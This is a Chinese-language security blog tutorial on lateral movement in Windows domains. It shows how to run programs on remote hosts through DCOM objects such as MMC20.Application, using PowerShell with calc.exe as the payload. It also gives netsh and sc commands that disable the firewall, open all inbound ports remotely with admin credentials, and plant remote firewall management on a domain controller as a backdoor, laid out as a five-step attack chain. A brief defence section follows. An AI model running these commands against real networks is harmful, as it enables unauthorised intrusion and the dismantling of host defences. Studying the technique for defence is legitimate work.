Good in study, attitude and health

域渗透——利用DCOM在远程系统执行程序

0x00 前言


在以前的文章《在远程系统上执行程序的技术整理》整理过域环境下常用的程序执行方法:at、psexec、WMIC、wmiexec、smbexec和powershell remoting,这次将基于Matt Nelson‏ @enigma0x3的研究,详细介绍在域环境下使用DCOM执行程序的方法,分析相关攻防思路。

学习链接如下:

https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

0x01 简介


本文将要介绍以下内容:

  • DCOM使用介绍
  • 实际利用思路
  • 命令行配置防火墙的技巧
  • 防御思路

0x02 DCOM使用介绍


相关基础知识暂略,关于DCOM的介绍可参考如下链接:

https://msdn.microsoft.com/en-us/library/cc226801.aspx

http://blog.csdn.net/ervinsas/article/details/36424127

本节主要选取Matt Nelson‏ @enigma0x3博客中的主要利用方法进行复现

获得DCOM的程序列表:

powershell代码:

Get-CimInstance Win32_DCOMApplication

注:

Get-CimInstance只适用于Powershell 3.0及以上,Win7默认为2.0不支持,可使用以下替代命令:

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

当然,直接使用wmic查询也可以,代码如下:

wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_DCOMApplication  GET /all /FORMAT:list

powershell对WMI的调用可使用wmic命令进行替换,详情可参考:

https://3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe

1、对本机测试

管理员权限,powershell代码如下:

获得"MMC20.Application"支持的操作:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView | Get-Member

如下图

Alt text

查看ExecuteShellCommand对应的参数说明:

$com.Document.ActiveView.ExecuteShellCommand

如下图

Alt text

ExecuteShellCommand对应的参数具体含义可参考以下链接:

https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx

通过ExecuteShellCommand执行程序:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

2、对远程系统测试

测试环境:域环境

Client:关闭防火墙

Server:获得域主机内置帐户administrator的口令,可net use连接至Client

Server端管理员权限可选择执行如下powershell代码:

1.调用MMC20.Application

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.0.2"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

操作如下图

Alt text

Clinet端查看程序列表,启动的calc.exe用户名为test2(Client端当前登录用户为a),如下图

Alt text

2.调用’9BA05972-F6A8-11CF-A442-00A0C90A8F39’

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.0.2")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

Clinet端查看程序列表,启动的calc.exe用户名为a(同Client端当前登录用户名相同),如下图

Alt text

注:

以上两种方式适用于Win7-Win10

3.调用’C08AFD90-F2A1-11D1-8455-00A0C91F3880’

$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"192.168.0.2")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

注:

该方法不适用于Win7,适用于Win10和Server2012 R2

0x03 实际利用思路


思路一:域环境未开启防火墙,直接使用

当然,需要获得域内置帐户administrator的口令

方法不再赘述

思路二:默认开启防火墙,本地修改配置关闭防火墙

这样,其他主机就可以远程操作该主机,可分别通过以下方式实现

1、通过配置入站规则支持DCOM

命令行开启任意端口的代码如下:

netsh advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow

注:

DCOM通信端口是由RPC动态分配,不固定,所以将入站端口规则设置为any

添加后,防火墙高级功能面板能发现添加的入站规则,如下图

Alt text

2、关闭防火墙功能

Windows Firewall对应的服务名为mpssvc,使用sc命令可远程关闭防火墙服务,命令如下:

sc \\192.168.0.2 stop mpssvc

但关闭防火墙服务并不能关闭防火墙功能,需要使用如下命令关闭防火墙功能:

netsh advfirewall set currentprofile state off

注:

补充开启防火墙功能的命令:

netsh advfirewall set currentprofile state on

3、通过防火墙配置文件设置入站规则

防火墙默认配置规则如下:

  • 阻止与规则不匹配的入站连接
  • 允许与规则不匹配的出站连接

如下图

Alt text

修改规则,允许与规则不匹配的入站连接,命令如下:

netsh advfirewall set currentprofile firewallpolicy allowinbound,allowoutbound

修改后,通过高级面板能够看到修改后的配置,如下图

Alt text

此时,防火墙状态报警,如下图

Alt text

还原防火墙配置的命令如下:

netsh advfirewall set currentprofile firewallpolicy blockinbound,allowoutbound

思路三:远程修改防火墙配置

可使用netsh远程配置防火墙规则,需要知道用户名密码,管理员权限执行如下命令:

netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall set currentprofile firewallpolicy allowinbound,allowoutbound

注:

对当前配置文件(即域配置文件):

netsh advfirewall set currentprofile settings remotemanagement enable

所有配置文件可以使用:

netsh advfirewall set allprofiles settings remotemanagement enable 

报错如下:

An error occurred while attempting to connect to the remote computer. Make sure that the Windows Firewall service on the remote computer is running and configur ed to allow remote management, and then try your request again.

说明远程计算机不允许远程管理,远程计算机需要作如下设置:

允许Windows防火墙远程管理

默认不支持,选中打勾代表开启,如下图

Alt text

注:

该操作可通过命令行实现,本地管理员权限执行:

netsh advfirewall set currentprofile settings remotemanagement enable

该功能打开后,其他主机可远程管理本机防火墙配置:

(管理员权限)

netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow

如下图

Alt text

综上,利用DCOM在域控远程执行程序的思路如下:

1、获取域控权限

包括域控内置帐户administrator的口令,如果域控防火墙关闭,可直接远程执行程序

注:

如果想使用其他帐户远程连接,需要先通过dcomcnfg.exe进入COM安全,激活用户的远程启动和远程激活属性

2、预置后门

如果域控开启防火墙,无法直接使用DCOM远程执行,需要获得远程修改防火墙配置的权限,该权限可通过设置允许Windows防火墙远程管理(系统默认关闭)获得

该操作需要3389连接域控或是使用其他方法在域控主机上执行代码,管理员权限执行:

netsh advfirewall set currentprofile settings remotemanagement enable

3、远程打开端口

使用netsh远程修改域控防火墙规则,打开端口

netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow

4、远程执行

使用net use 远程连接,接着执行如下powershell代码:

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.0.2")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

注:

选择使用'9BA05972-F6A8-11CF-A442-00A0C90A8F39',执行程序的用户名为当前登录用户

5、远程恢复域控防火墙设置

netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall Delete rule name="any"

0x04 防御


针对利用DCOM远程执行程序,只要开启防火墙即可

也可禁用内置帐户Administrator对COM的远程启动和远程激活权限,命令如下:

dcomcnfg.exe

打开组件服务-我的电脑-属性-COM安全-启动和激活权限-编辑默认值,如下图

Alt text

当然,通过抓包分析特征也是可以的

0x05 小结


本文对使用DCOM执行程序的方法作了利用分析,最后感谢Matt Nelson‏ @enigma0x3分享他的文章。


LEAVE A REPLY